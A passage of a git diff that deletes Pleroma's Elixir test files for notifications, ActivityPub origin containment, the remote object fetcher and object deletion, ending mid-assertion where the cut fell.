CommonAPI.post(user, %{status: "hey @#{other_user.nickname}"}) - - {:ok, [notification]} = Notification.create_notifications(activity) - {:ok, notification} = Notification.get(other_user, notification.id) - - assert notification.user_id == other_user.id - end - - test "it returns error if the notification doesn't belong to the user" do - user = insert(:user) - other_user = insert(:user) - - {:ok, activity} = CommonAPI.post(user, %{status: "hey @#{other_user.nickname}"}) - - {:ok, [notification]} = Notification.create_notifications(activity) - {:error, _notification} = Notification.get(user, notification.id) - end - end - - describe "dismiss notification" do - test "it dismisses a notification that belongs to the user" do - user = insert(:user) - other_user = insert(:user) - - {:ok, activity} = CommonAPI.post(user, %{status: "hey @#{other_user.nickname}"}) - - {:ok, [notification]} = Notification.create_notifications(activity) - {:ok, notification} = Notification.dismiss(other_user, notification.id) - - assert notification.user_id == other_user.id - end - - test "it returns error if the notification doesn't belong to the user" do - user = insert(:user) - other_user = insert(:user) - - {:ok, activity} = CommonAPI.post(user, %{status: "hey @#{other_user.nickname}"}) - - {:ok, [notification]} = Notification.create_notifications(activity) - {:error, _notification} = Notification.dismiss(user, notification.id) - end - end - - describe "clear notification" do - test "it clears all notifications belonging to the user" do - user = insert(:user) - other_user = insert(:user) - third_user = insert(:user) - - {:ok, activity} = - CommonAPI.post(user, %{ - status: "hey @#{other_user.nickname} and @#{third_user.nickname} !" - }) - - {:ok, _notifs} = Notification.create_notifications(activity) - - {:ok, activity} = - CommonAPI.post(user, %{ - status: "hey again @#{other_user.nickname} and @#{third_user.nickname} !" - }) - - {:ok, _notifs} = Notification.create_notifications(activity) - Notification.clear(other_user) - - assert Notification.for_user(other_user) == [] - assert Notification.for_user(third_user) != [] - end - end - - describe "set_read_up_to()" do - test "it sets all notifications as read up to a specified notification ID" do - user = insert(:user) - other_user = insert(:user) - - {:ok, _activity} = - CommonAPI.post(user, %{ - status: "hey @#{other_user.nickname}!" - }) - - {:ok, _activity} = - CommonAPI.post(user, %{ - status: "hey again @#{other_user.nickname}!" - }) - - [n2, n1] = Notification.for_user(other_user) - - assert n2.id > n1.id - - {:ok, _activity} = - CommonAPI.post(user, %{ - status: "hey yet again @#{other_user.nickname}!" - }) - - [_, read_notification] = Notification.set_read_up_to(other_user, n2.id) - - assert read_notification.activity.object - - [n3, n2, n1] = Notification.for_user(other_user) - - assert n1.seen == true - assert n2.seen == true - assert n3.seen == false - - assert %Pleroma.Marker{} = - m = - Pleroma.Repo.get_by( - Pleroma.Marker, - user_id: other_user.id, - timeline: "notifications" - ) - - assert m.last_read_id == to_string(n2.id) - end - end - - describe "for_user_since/2" do - defp days_ago(days) do - NaiveDateTime.add( - NaiveDateTime.truncate(NaiveDateTime.utc_now(), :second), - -days * 60 * 60 * 24, - :second - ) - end - - test "Returns recent notifications" do - user1 = insert(:user) - user2 = insert(:user) - - Enum.each(0..10, fn i -> - {:ok, _activity} = - CommonAPI.post(user1, %{ - status: "hey ##{i} @#{user2.nickname}!" - }) - end) - - {old, new} = Enum.split(Notification.for_user(user2), 5) - - Enum.each(old, fn notification -> - notification - |> cast(%{updated_at: days_ago(10)}, [:updated_at]) - |> Pleroma.Repo.update!() - end) - - recent_notifications_ids = - user2 - |> Notification.for_user_since( - NaiveDateTime.add(NaiveDateTime.utc_now(), -5 * 86_400, :second) - ) - |> Enum.map(& &1.id) - - Enum.each(old, fn %{id: id} -> - refute id in recent_notifications_ids - end) - - Enum.each(new, fn %{id: id} -> - assert id in recent_notifications_ids - end) - end - end - - describe "notification target determination / get_notified_from_activity/2" do - test "it sends notifications to addressed users in new messages" do - user = insert(:user) - other_user = insert(:user) - - {:ok, activity} = - CommonAPI.post(user, %{ - status: "hey @#{other_user.nickname}!" - }) - - {enabled_receivers, _disabled_receivers} = Notification.get_notified_from_activity(activity) - - assert other_user in enabled_receivers - end - - test "it sends notifications to mentioned users in new messages" do - user = insert(:user) - other_user = insert(:user) - - create_activity = %{ - "@context" => "https://www.w3.org/ns/activitystreams", - "type" => "Create", - "to" => ["https://www.w3.org/ns/activitystreams#Public"], - "actor" => user.ap_id, - "object" => %{ - "type" => "Note", - "content" => "message with a Mention tag, but no explicit tagging", - "tag" => [ - %{ - "type" => "Mention", - "href" => other_user.ap_id, - "name" => other_user.nickname - } - ], - "attributedTo" => user.ap_id - } - } - - {:ok, activity} = Transmogrifier.handle_incoming(create_activity) - - {enabled_receivers, _disabled_receivers} = Notification.get_notified_from_activity(activity) - - assert other_user in enabled_receivers - end - - test "it does not send notifications to users who are only cc in new messages" do - user = insert(:user) - other_user = insert(:user) - - create_activity = %{ - "@context" => "https://www.w3.org/ns/activitystreams", - "type" => "Create", - "to" => ["https://www.w3.org/ns/activitystreams#Public"], - "cc" => [other_user.ap_id], - "actor" => user.ap_id, - "object" => %{ - "type" => "Note", - "content" => "hi everyone", - "attributedTo" => user.ap_id - } - } - - {:ok, activity} = Transmogrifier.handle_incoming(create_activity) - - {enabled_receivers, _disabled_receivers} = Notification.get_notified_from_activity(activity) - - assert other_user not in enabled_receivers - end - - test "it does not send notification to mentioned users in likes" do - user = insert(:user) - other_user = insert(:user) - third_user = insert(:user) - - {:ok, activity_one} = - CommonAPI.post(user, %{ - status: "hey @#{other_user.nickname}!" - }) - - {:ok, activity_two} = CommonAPI.favorite(third_user, activity_one.id) - - {enabled_receivers, _disabled_receivers} = - Notification.get_notified_from_activity(activity_two) - - assert other_user not in enabled_receivers - end - - test "it only notifies the post's author in likes" do - user = insert(:user) - other_user = insert(:user) - third_user = insert(:user) - - {:ok, activity_one} = - CommonAPI.post(user, %{ - status: "hey @#{other_user.nickname}!" - }) - - {:ok, like_data, _} = Builder.like(third_user, activity_one.object) - - {:ok, like, _} = - like_data - |> Map.put("to", [other_user.ap_id | like_data["to"]]) - |> ActivityPub.persist(local: true) - - {enabled_receivers, _disabled_receivers} = Notification.get_notified_from_activity(like) - - assert other_user not in enabled_receivers - end - - test "it does not send notification to mentioned users in announces" do - user = insert(:user) - other_user = insert(:user) - third_user = insert(:user) - - {:ok, activity_one} = - CommonAPI.post(user, %{ - status: "hey @#{other_user.nickname}!" - }) - - {:ok, activity_two} = CommonAPI.repeat(activity_one.id, third_user) - - {enabled_receivers, _disabled_receivers} = - Notification.get_notified_from_activity(activity_two) - - assert other_user not in enabled_receivers - end - - test "it returns blocking recipient in disabled recipients list" do - user = insert(:user) - other_user = insert(:user) - {:ok, _user_relationship} = User.block(other_user, user) - - {:ok, activity} = CommonAPI.post(user, %{status: "hey @#{other_user.nickname}!"}) - - {enabled_receivers, disabled_receivers} = Notification.get_notified_from_activity(activity) - - assert [] == enabled_receivers - assert [other_user] == disabled_receivers - end - - test "it returns notification-muting recipient in disabled recipients list" do - user = insert(:user) - other_user = insert(:user) - {:ok, _user_relationships} = User.mute(other_user, user) - - {:ok, activity} = CommonAPI.post(user, %{status: "hey @#{other_user.nickname}!"}) - - {enabled_receivers, disabled_receivers} = Notification.get_notified_from_activity(activity) - - assert [] == enabled_receivers - assert [other_user] == disabled_receivers - end - - test "it returns thread-muting recipient in disabled recipients list" do - user = insert(:user) - other_user = insert(:user) - - {:ok, activity} = CommonAPI.post(user, %{status: "hey @#{other_user.nickname}!"}) - - {:ok, _} = CommonAPI.add_mute(other_user, activity) - - {:ok, same_context_activity} = - CommonAPI.post(user, %{ - status: "hey-hey-hey @#{other_user.nickname}!", - in_reply_to_status_id: activity.id - }) - - {enabled_receivers, disabled_receivers} = - Notification.get_notified_from_activity(same_context_activity) - - assert [other_user] == disabled_receivers - refute other_user in enabled_receivers - end - - test "it returns non-following domain-blocking recipient in disabled recipients list" do - blocked_domain = "blocked.domain" - user = insert(:user, %{ap_id: "https://#{blocked_domain}/@actor"}) - other_user = insert(:user) - - {:ok, other_user} = User.block_domain(other_user, blocked_domain) - - {:ok, activity} = CommonAPI.post(user, %{status: "hey @#{other_user.nickname}!"}) - - {enabled_receivers, disabled_receivers} = Notification.get_notified_from_activity(activity) - - assert [] == enabled_receivers - assert [other_user] == disabled_receivers - end - - test "it returns following domain-blocking recipient in enabled recipients list" do - blocked_domain = "blocked.domain" - user = insert(:user, %{ap_id: "https://#{blocked_domain}/@actor"}) - other_user = insert(:user) - - {:ok, other_user} = User.block_domain(other_user, blocked_domain) - {:ok, other_user} = User.follow(other_user, user) - - {:ok, activity} = CommonAPI.post(user, %{status: "hey @#{other_user.nickname}!"}) - - {enabled_receivers, disabled_receivers} = Notification.get_notified_from_activity(activity) - - assert [other_user] == enabled_receivers - assert [] == disabled_receivers - end - end - - describe "notification lifecycle" do - test "liking an activity results in 1 notification, then 0 if the activity is deleted" do - user = insert(:user) - other_user = insert(:user) - - {:ok, activity} = CommonAPI.post(user, %{status: "test post"}) - - assert Enum.empty?(Notification.for_user(user)) - - {:ok, _} = CommonAPI.favorite(other_user, activity.id) - - assert length(Notification.for_user(user)) == 1 - - {:ok, _} = CommonAPI.delete(activity.id, user) - - assert Enum.empty?(Notification.for_user(user)) - end - - test "liking an activity results in 1 notification, then 0 if the activity is unliked" do - user = insert(:user) - other_user = insert(:user) - - {:ok, activity} = CommonAPI.post(user, %{status: "test post"}) - - assert Enum.empty?(Notification.for_user(user)) - - {:ok, _} = CommonAPI.favorite(other_user, activity.id) - - assert length(Notification.for_user(user)) == 1 - - {:ok, _} = CommonAPI.unfavorite(activity.id, other_user) - - assert Enum.empty?(Notification.for_user(user)) - end - - test "repeating an activity results in 1 notification, then 0 if the activity is deleted" do - user = insert(:user) - other_user = insert(:user) - - {:ok, activity} = CommonAPI.post(user, %{status: "test post"}) - - assert Enum.empty?(Notification.for_user(user)) - - {:ok, _} = CommonAPI.repeat(activity.id, other_user) - - assert length(Notification.for_user(user)) == 1 - - {:ok, _} = CommonAPI.delete(activity.id, user) - - assert Enum.empty?(Notification.for_user(user)) - end - - test "repeating an activity results in 1 notification, then 0 if the activity is unrepeated" do - user = insert(:user) - other_user = insert(:user) - - {:ok, activity} = CommonAPI.post(user, %{status: "test post"}) - - assert Enum.empty?(Notification.for_user(user)) - - {:ok, _} = CommonAPI.repeat(activity.id, other_user) - - assert length(Notification.for_user(user)) == 1 - - {:ok, _} = CommonAPI.unrepeat(activity.id, other_user) - - assert Enum.empty?(Notification.for_user(user)) - end - - test "liking an activity which is already deleted does not generate a notification" do - user = insert(:user) - other_user = insert(:user) - - {:ok, activity} = CommonAPI.post(user, %{status: "test post"}) - - assert Enum.empty?(Notification.for_user(user)) - - {:ok, _deletion_activity} = CommonAPI.delete(activity.id, user) - - assert Enum.empty?(Notification.for_user(user)) - - {:error, :not_found} = CommonAPI.favorite(other_user, activity.id) - - assert Enum.empty?(Notification.for_user(user)) - end - - test "repeating an activity which is already deleted does not generate a notification" do - user = insert(:user) - other_user = insert(:user) - - {:ok, activity} = CommonAPI.post(user, %{status: "test post"}) - - assert Enum.empty?(Notification.for_user(user)) - - {:ok, _deletion_activity} = CommonAPI.delete(activity.id, user) - - assert Enum.empty?(Notification.for_user(user)) - - {:error, _} = CommonAPI.repeat(activity.id, other_user) - - assert Enum.empty?(Notification.for_user(user)) - end - - test "replying to a deleted post without tagging does not generate a notification" do - user = insert(:user) - other_user = insert(:user) - - {:ok, activity} = CommonAPI.post(user, %{status: "test post"}) - {:ok, _deletion_activity} = CommonAPI.delete(activity.id, user) - - {:ok, _reply_activity} = - CommonAPI.post(other_user, %{ - status: "test reply", - in_reply_to_status_id: activity.id - }) - - assert Enum.empty?(Notification.for_user(user)) - end - - test "notifications are deleted if a local user is deleted" do - user = insert(:user) - other_user = insert(:user) - - {:ok, _activity} = - CommonAPI.post(user, %{status: "hi @#{other_user.nickname}", visibility: "direct"}) - - refute Enum.empty?(Notification.for_user(other_user)) - - {:ok, job} = User.delete(user) - ObanHelpers.perform(job) - - assert Enum.empty?(Notification.for_user(other_user)) - end - - test "notifications are deleted if a remote user is deleted" do - remote_user = insert(:user) - local_user = insert(:user) - - dm_message = %{ - "@context" => "https://www.w3.org/ns/activitystreams", - "type" => "Create", - "actor" => remote_user.ap_id, - "id" => remote_user.ap_id <> "/activities/test", - "to" => [local_user.ap_id], - "cc" => [], - "object" => %{ - "type" => "Note", - "content" => "Hello!", - "tag" => [ - %{ - "type" => "Mention", - "href" => local_user.ap_id, - "name" => "@#{local_user.nickname}" - } - ], - "to" => [local_user.ap_id], - "cc" => [], - "attributedTo" => remote_user.ap_id - } - } - - {:ok, _dm_activity} = Transmogrifier.handle_incoming(dm_message) - - refute Enum.empty?(Notification.for_user(local_user)) - - delete_user_message = %{ - "@context" => "https://www.w3.org/ns/activitystreams", - "id" => remote_user.ap_id <> "/activities/delete", - "actor" => remote_user.ap_id, - "type" => "Delete", - "object" => remote_user.ap_id - } - - remote_user_url = remote_user.ap_id - - Tesla.Mock.mock(fn - %{method: :get, url: ^remote_user_url} -> - %Tesla.Env{status: 404, body: ""} - end) - - {:ok, _delete_activity} = Transmogrifier.handle_incoming(delete_user_message) - ObanHelpers.perform_all() - - assert Enum.empty?(Notification.for_user(local_user)) - end - - @tag capture_log: true - test "move activity generates a notification" do - %{ap_id: old_ap_id} = old_user = insert(:user) - %{ap_id: new_ap_id} = new_user = insert(:user, also_known_as: [old_ap_id]) - follower = insert(:user) - other_follower = insert(:user, %{allow_following_move: false}) - - User.follow(follower, old_user) - User.follow(other_follower, old_user) - - old_user_url = old_user.ap_id - - body = - File.read!("test/fixtures/users_mock/localhost.json") - |> String.replace("{{nickname}}", old_user.nickname) - |> Jason.encode!() - - Tesla.Mock.mock(fn - %{method: :get, url: ^old_user_url} -> - %Tesla.Env{status: 200, body: body} - end) - - Pleroma.Web.ActivityPub.ActivityPub.move(old_user, new_user) - ObanHelpers.perform_all() - - assert [ - %{ - activity: %{ - data: %{"type" => "Move", "actor" => ^old_ap_id, "target" => ^new_ap_id} - } - } - ] = Notification.for_user(follower) - - assert [ - %{ - activity: %{ - data: %{"type" => "Move", "actor" => ^old_ap_id, "target" => ^new_ap_id} - } - } - ] = Notification.for_user(other_follower) - end - end - - describe "for_user" do - setup do - user = insert(:user) - - {:ok, %{user: user}} - end - - test "it returns notifications for muted user without notifications", %{user: user} do - muted = insert(:user) - {:ok, _user_relationships} = User.mute(user, muted, false) - - {:ok, _activity} = CommonAPI.post(muted, %{status: "hey @#{user.nickname}"}) - - [notification] = Notification.for_user(user) - - assert notification.activity.object - assert notification.seen - end - - test "it doesn't return notifications for muted user with notifications", %{user: user} do - muted = insert(:user) - {:ok, _user_relationships} = User.mute(user, muted) - - {:ok, _activity} = CommonAPI.post(muted, %{status: "hey @#{user.nickname}"}) - - assert Notification.for_user(user) == [] - end - - test "it doesn't return notifications for blocked user", %{user: user} do - blocked = insert(:user) - {:ok, _user_relationship} = User.block(user, blocked) - - {:ok, _activity} = CommonAPI.post(blocked, %{status: "hey @#{user.nickname}"}) - - assert Notification.for_user(user) == [] - end - - test "it doesn't return notifications for domain-blocked non-followed user", %{user: user} do - blocked = insert(:user, ap_id: "http://some-domain.com") - {:ok, user} = User.block_domain(user, "some-domain.com") - - {:ok, _activity} = CommonAPI.post(blocked, %{status: "hey @#{user.nickname}"}) - - assert Notification.for_user(user) == [] - end - - test "it returns notifications for domain-blocked but followed user" do - user = insert(:user) - blocked = insert(:user, ap_id: "http://some-domain.com") - - {:ok, user} = User.block_domain(user, "some-domain.com") - {:ok, _} = User.follow(user, blocked) - - {:ok, _activity} = CommonAPI.post(blocked, %{status: "hey @#{user.nickname}"}) - - assert length(Notification.for_user(user)) == 1 - end - - test "it doesn't return notifications for muted thread", %{user: user} do - another_user = insert(:user) - - {:ok, activity} = CommonAPI.post(another_user, %{status: "hey @#{user.nickname}"}) - - {:ok, _} = Pleroma.ThreadMute.add_mute(user.id, activity.data["context"]) - assert Notification.for_user(user) == [] - end - - test "it returns notifications from a muted user when with_muted is set", %{user: user} do - muted = insert(:user) - {:ok, _user_relationships} = User.mute(user, muted) - - {:ok, _activity} = CommonAPI.post(muted, %{status: "hey @#{user.nickname}"}) - - assert length(Notification.for_user(user, %{with_muted: true})) == 1 - end - - test "it doesn't return notifications from a blocked user when with_muted is set", %{ - user: user - } do - blocked = insert(:user) - {:ok, _user_relationship} = User.block(user, blocked) - - {:ok, _activity} = CommonAPI.post(blocked, %{status: "hey @#{user.nickname}"}) - - assert Enum.empty?(Notification.for_user(user, %{with_muted: true})) - end - - test "when with_muted is set, " <> - "it doesn't return notifications from a domain-blocked non-followed user", - %{user: user} do - blocked = insert(:user, ap_id: "http://some-domain.com") - {:ok, user} = User.block_domain(user, "some-domain.com") - - {:ok, _activity} = CommonAPI.post(blocked, %{status: "hey @#{user.nickname}"}) - - assert Enum.empty?(Notification.for_user(user, %{with_muted: true})) - end - - test "it returns notifications from muted threads when with_muted is set", %{user: user} do - another_user = insert(:user) - - {:ok, activity} = CommonAPI.post(another_user, %{status: "hey @#{user.nickname}"}) - - {:ok, _} = Pleroma.ThreadMute.add_mute(user.id, activity.data["context"]) - assert length(Notification.for_user(user, %{with_muted: true})) == 1 - end - - test "it doesn't return notifications about mentions with filtered word", %{user: user} do - insert(:filter, user: user, phrase: "cofe", hide: true) - another_user = insert(:user) - - {:ok, _activity} = CommonAPI.post(another_user, %{status: "@#{user.nickname} got cofe?"}) - - assert Enum.empty?(Notification.for_user(user)) - end - - test "it returns notifications about mentions with not hidden filtered word", %{user: user} do - insert(:filter, user: user, phrase: "test", hide: false) - another_user = insert(:user) - - {:ok, _} = CommonAPI.post(another_user, %{status: "@#{user.nickname} test"}) - - assert length(Notification.for_user(user)) == 1 - end - - test "it returns notifications about favorites with filtered word", %{user: user} do - insert(:filter, user: user, phrase: "cofe", hide: true) - another_user = insert(:user) - - {:ok, activity} = CommonAPI.post(user, %{status: "Give me my cofe!"}) - {:ok, _} = CommonAPI.favorite(another_user, activity.id) - - assert length(Notification.for_user(user)) == 1 - end - end -end diff --git a/test/object/containment_test.exs b/test/object/containment_test.exs deleted file mode 100644 index 90b6dccf2..000000000 --- a/test/object/containment_test.exs +++ /dev/null @@ -1,125 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Object.ContainmentTest do - use Pleroma.DataCase - - alias Pleroma.Object.Containment - alias Pleroma.User - - import Pleroma.Factory - import ExUnit.CaptureLog - - setup_all do - Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end) - :ok - end - - describe "general origin containment" do - test "works for completely actorless posts" do - assert :error == - Containment.contain_origin("https://glaceon.social/users/monorail", %{ - "deleted" => "2019-10-30T05:48:50.249606Z", - "formerType" => "Note", - "id" => "https://glaceon.social/users/monorail/statuses/103049757364029187", - "type" => "Tombstone" - }) - end - - test "contain_origin_from_id() catches obvious spoofing attempts" do - data = %{ - "id" => "http://example.com/~alyssa/activities/1234.json" - } - - :error = - Containment.contain_origin_from_id( - "http://example.org/~alyssa/activities/1234.json", - data - ) - end - - test "contain_origin_from_id() allows alternate IDs within the same origin domain" do - data = %{ - "id" => "http://example.com/~alyssa/activities/1234.json" - } - - :ok = - Containment.contain_origin_from_id( - "http://example.com/~alyssa/activities/1234", - data - ) - end - - test "contain_origin_from_id() allows matching IDs" do - data = %{ - "id" => "http://example.com/~alyssa/activities/1234.json" - } - - :ok = - Containment.contain_origin_from_id( - "http://example.com/~alyssa/activities/1234.json", - data - ) - end - - test "users cannot be collided through fake direction spoofing attempts" do - _user = - insert(:user, %{ - nickname: "rye@niu.moe", - local: false, - ap_id: "https://niu.moe/users/rye", - follower_address: User.ap_followers(%User{nickname: "rye@niu.moe"}) - }) - - assert capture_log(fn -> - {:error, _} = User.get_or_fetch_by_ap_id("https://n1u.moe/users/rye") - end) =~ - "[error] Could not decode user at fetch https://n1u.moe/users/rye" - end - - test "contain_origin_from_id() gracefully handles cases where no ID is present" do - data = %{ - "type" => "Create", - "object" => %{ - "id" => "http://example.net/~alyssa/activities/1234", - "attributedTo" => "http://example.org/~alyssa" - }, - "actor" => "http://example.com/~bob" - } - - :error = - Containment.contain_origin_from_id("http://example.net/~alyssa/activities/1234", data) - end - end - - describe "containment of children" do - test "contain_child() catches spoofing attempts" do - data = %{ - "id" => "http://example.com/whatever", - "type" => "Create", - "object" => %{ - "id" => "http://example.net/~alyssa/activities/1234", - "attributedTo" => "http://example.org/~alyssa" - }, - "actor" => "http://example.com/~bob" - } - - :error = Containment.contain_child(data) - end - - test "contain_child() allows correct origins" do - data = %{ - "id" => "http://example.org/~alyssa/activities/5678", - "type" => "Create", - "object" => %{ - "id" => "http://example.org/~alyssa/activities/1234", - "attributedTo" => "http://example.org/~alyssa" - }, - "actor" => "http://example.org/~alyssa" - } - - :ok = Containment.contain_child(data) - end - end -end diff --git a/test/object/fetcher_test.exs b/test/object/fetcher_test.exs deleted file mode 100644 index 14d2c645f..000000000 --- a/test/object/fetcher_test.exs +++ /dev/null @@ -1,245 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Object.FetcherTest do - use Pleroma.DataCase - - alias Pleroma.Activity - alias Pleroma.Config - alias Pleroma.Object - alias Pleroma.Object.Fetcher - - import Mock - import Tesla.Mock - - setup do - mock(fn - %{method: :get, url: "https://mastodon.example.org/users/userisgone"} -> - %Tesla.Env{status: 410} - - %{method: :get, url: "https://mastodon.example.org/users/userisgone404"} -> - %Tesla.Env{status: 404} - - env -> - apply(HttpRequestMock, :request, [env]) - end) - - :ok - end - - describe "error cases" do - setup do - mock(fn - %{method: :get, url: "https://social.sakamoto.gq/notice/9wTkLEnuq47B25EehM"} -> - %Tesla.Env{ - status: 200, - body: File.read!("test/fixtures/fetch_mocks/9wTkLEnuq47B25EehM.json") - } - - %{method: :get, url: "https://social.sakamoto.gq/users/eal"} -> - %Tesla.Env{ - status: 200, - body: File.read!("test/fixtures/fetch_mocks/eal.json") - } - - %{method: :get, url: "https://busshi.moe/users/tuxcrafting/statuses/104410921027210069"} -> - %Tesla.Env{ - status: 200, - body: File.read!("test/fixtures/fetch_mocks/104410921027210069.json") - } - - %{method: :get, url: "https://busshi.moe/users/tuxcrafting"} -> - %Tesla.Env{ - status: 500 - } - end) - - :ok - end - - @tag capture_log: true - test "it works when fetching the OP actor errors out" do - # Here we simulate a case where the author of the OP can't be read - assert {:ok, _} = - Fetcher.fetch_object_from_id( - "https://social.sakamoto.gq/notice/9wTkLEnuq47B25EehM" - ) - end - end - - describe "max thread distance restriction" do - @ap_id "http://mastodon.example.org/@admin/99541947525187367" - setup do: clear_config([:instance, :federation_incoming_replies_max_depth]) - - test "it returns thread depth exceeded error if thread depth is exceeded" do - Config.put([:instance, :federation_incoming_replies_max_depth], 0) - - assert {:error, "Max thread distance exceeded."} = - Fetcher.fetch_object_from_id(@ap_id, depth: 1) - end - - test "it fetches object if max thread depth is restricted to 0 and depth is not specified" do - Config.put([:instance, :federation_incoming_replies_max_depth], 0) - - assert {:ok, _} = Fetcher.fetch_object_from_id(@ap_id) - end - - test "it fetches object if requested depth does not exceed max thread depth" do - Config.put([:instance, :federation_incoming_replies_max_depth], 10) - - assert {:ok, _} = Fetcher.fetch_object_from_id(@ap_id, depth: 10) - end - end - - describe "actor origin containment" do - test "it rejects objects with a bogus origin" do - {:error, _} = Fetcher.fetch_object_from_id("https://info.pleroma.site/activity.json") - end - - test "it rejects objects when attributedTo is wrong (variant 1)" do - {:error, _} = Fetcher.fetch_object_from_id("https://info.pleroma.site/activity2.json") - end - - test "it rejects objects when attributedTo is wrong (variant 2)" do - {:error, _} = Fetcher.fetch_object_from_id("https://info.pleroma.site/activity3.json") - end - end - - describe "fetching an object" do - test "it fetches an object" do - {:ok, object} = - Fetcher.fetch_object_from_id("http://mastodon.example.org/@admin/99541947525187367") - - assert activity = Activity.get_create_by_object_ap_id(object.data["id"]) - assert activity.data["id"] - - {:ok, object_again} = - Fetcher.fetch_object_from_id("http://mastodon.example.org/@admin/99541947525187367") - - assert [attachment] = object.data["attachment"] - assert is_list(attachment["url"]) - - assert object == object_again - end - - test "Return MRF reason when fetched status is rejected by one" do - clear_config([:mrf_keyword, :reject], ["yeah"]) - clear_config([:mrf, :policies], [Pleroma.Web.ActivityPub.MRF.KeywordPolicy]) - - assert {:reject, "[KeywordPolicy] Matches with rejected keyword"} == - Fetcher.fetch_object_from_id( - "http://mastodon.example.org/@admin/99541947525187367" - ) - end - end - - describe "implementation quirks" do - test "it can fetch plume articles" do - {:ok, object} = - Fetcher.fetch_object_from_id( - "https://baptiste.gelez.xyz/~/PlumeDevelopment/this-month-in-plume-june-2018/" - ) - - assert object - end - - test "it can fetch peertube videos" do - {:ok, object} = - Fetcher.fetch_object_from_id( - "https://peertube.moe/videos/watch/df5f464b-be8d-46fb-ad81-2d4c2d1630e3" - ) - - assert object - end - - test "it can fetch Mobilizon events" do - {:ok, object} = - Fetcher.fetch_object_from_id( - "https://mobilizon.org/events/252d5816-00a3-4a89-a66f-15bf65c33e39" - ) - - assert object - end - - test "it can fetch wedistribute articles" do - {:ok, object} = - Fetcher.fetch_object_from_id("https://wedistribute.org/wp-json/pterotype/v1/object/85810") - - assert object - end - - test "all objects with fake directions are rejected by the object fetcher" do - assert {:error, _} = - Fetcher.fetch_and_contain_remote_object_from_id( - "https://info.pleroma.site/activity4.json" - ) - end - - test "handle HTTP 410 Gone response" do - assert {:error, "Object has been deleted"} == - Fetcher.fetch_and_contain_remote_object_from_id( - "https://mastodon.example.org/users/userisgone" - ) - end - - test "handle HTTP 404 response" do - assert {:error, "Object has been deleted"} == - Fetcher.fetch_and_contain_remote_object_from_id( - "https://mastodon.example.org/users/userisgone404" - ) - end - - test "it can fetch pleroma polls with attachments" do - {:ok, object} = - Fetcher.fetch_object_from_id("https://patch.cx/objects/tesla_mock/poll_attachment") - - assert object - end - end - - describe "pruning" do - test "it can refetch pruned objects" do - object_id = "http://mastodon.example.org/@admin/99541947525187367" - - {:ok, object} = Fetcher.fetch_object_from_id(object_id) - - assert object - - {:ok, _object} = Object.prune(object) - - refute Object.get_by_ap_id(object_id) - - {:ok, %Object{} = object_two} = Fetcher.fetch_object_from_id(object_id) - - assert object.data["id"] == object_two.data["id"] - assert object.id != object_two.id - end - end - - describe "signed fetches" do - setup do: clear_config([:activitypub, :sign_object_fetches]) - - test_with_mock "it signs fetches when configured to do so", - Pleroma.Signature, - [:passthrough], - [] do - Config.put([:activitypub, :sign_object_fetches], true) - - Fetcher.fetch_object_from_id("http://mastodon.example.org/@admin/99541947525187367") - - assert called(Pleroma.Signature.sign(:_, :_)) - end - - test_with_mock "it doesn't sign fetches when not configured to do so", - Pleroma.Signature, - [:passthrough], - [] do - Config.put([:activitypub, :sign_object_fetches], false) - - Fetcher.fetch_object_from_id("http://mastodon.example.org/@admin/99541947525187367") - - refute called(Pleroma.Signature.sign(:_, :_)) - end - end -end diff --git a/test/object_test.exs b/test/object_test.exs deleted file mode 100644 index 198d3b1cf..000000000 --- a/test/object_test.exs +++ /dev/null @@ -1,402 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.ObjectTest do - use Pleroma.DataCase - use Oban.Testing, repo: Pleroma.Repo - import ExUnit.CaptureLog - import Pleroma.Factory - import Tesla.Mock - alias Pleroma.Activity - alias Pleroma.Object - alias Pleroma.Repo - alias Pleroma.Tests.ObanHelpers - alias Pleroma.Web.CommonAPI - - setup do - mock(fn env -> apply(HttpRequestMock, :request, [env]) end) - :ok - end - - test "returns an object by it's AP id" do - object = insert(:note) - found_object = Object.get_by_ap_id(object.data["id"]) - - assert object == found_object - end - - describe "generic changeset" do - test "it ensures uniqueness of the id" do - object = insert(:note) - cs = Object.change(%Object{}, %{data: %{id: object.data["id"]}}) - assert cs.valid? - - {:error, _result} = Repo.insert(cs) - end - end - - describe "deletion function" do - test "deletes an object" do - object = insert(:note) - found_object = Object.get_by_ap_id(object.data["id"]) - - assert object == found_object - - Object.delete(found_object) - - found_object = Object.get_by_ap_id(object.data["id"]) - - refute object == found_object - - assert found_object.data["type"] == "Tombstone" - end - - test "ensures cache is cleared for the object" do - object = insert(:note) - cached_object = Object.get_cached_by_ap_id(object.data["id"]) - - assert object == cached_object - - Cachex.put(:web_resp_cache, URI.parse(object.data["id"]).path, "cofe") - - Object.delete(cached_object) - - {:ok, nil} = Cachex.get(:object_cache, "object:#{object.data["id"]}") - {:ok, nil} = Cachex.get(:web_resp_cache, URI.parse(object.data["id"]).path) - - cached_object = Object.get_cached_by_ap_id(object.data["id"]) - - refute object == cached_object - - assert cached_object.data["type"] == "Tombstone" - end - end - - describe "delete attachments" do - setup do: clear_config([Pleroma.Upload]) - setup do: clear_config([:instance, :cleanup_attachments]) - - test "Disabled via config" do - Pleroma.Config.put([Pleroma.Upload, :uploader], Pleroma.Uploaders.Local) - Pleroma.Config.put([:instance, :cleanup_attachments], false) - - file = %Plug.Upload{ - content_type: "image/jpg", - path: Path.absname("test/fixtures/image.jpg"), - filename: "an_image.jpg" - } - - user = insert(:user) - - {:ok, %Object{} = attachment} = - Pleroma.Web.ActivityPub.ActivityPub.upload(file, actor: user.ap_id) - - %{data: %{"attachment" => [%{"url" => [%{"href" => href}]}]}} = - note = insert(:note, %{user: user, data: %{"attachment" => [attachment.data]}}) - - uploads_dir = Pleroma.Config.get!([Pleroma.Uploaders.Local, :uploads]) - - path = href |> Path.dirname() |> Path.basename() - - assert {:ok, ["an_image.jpg"]} == File.ls("#{uploads_dir}/#{path}") - - Object.delete(note) - - ObanHelpers.perform(all_enqueued(worker: Pleroma.Workers.AttachmentsCleanupWorker)) - - assert Object.get_by_id(note.id).data["deleted"] - refute Object.get_by_id(attachment.id) == 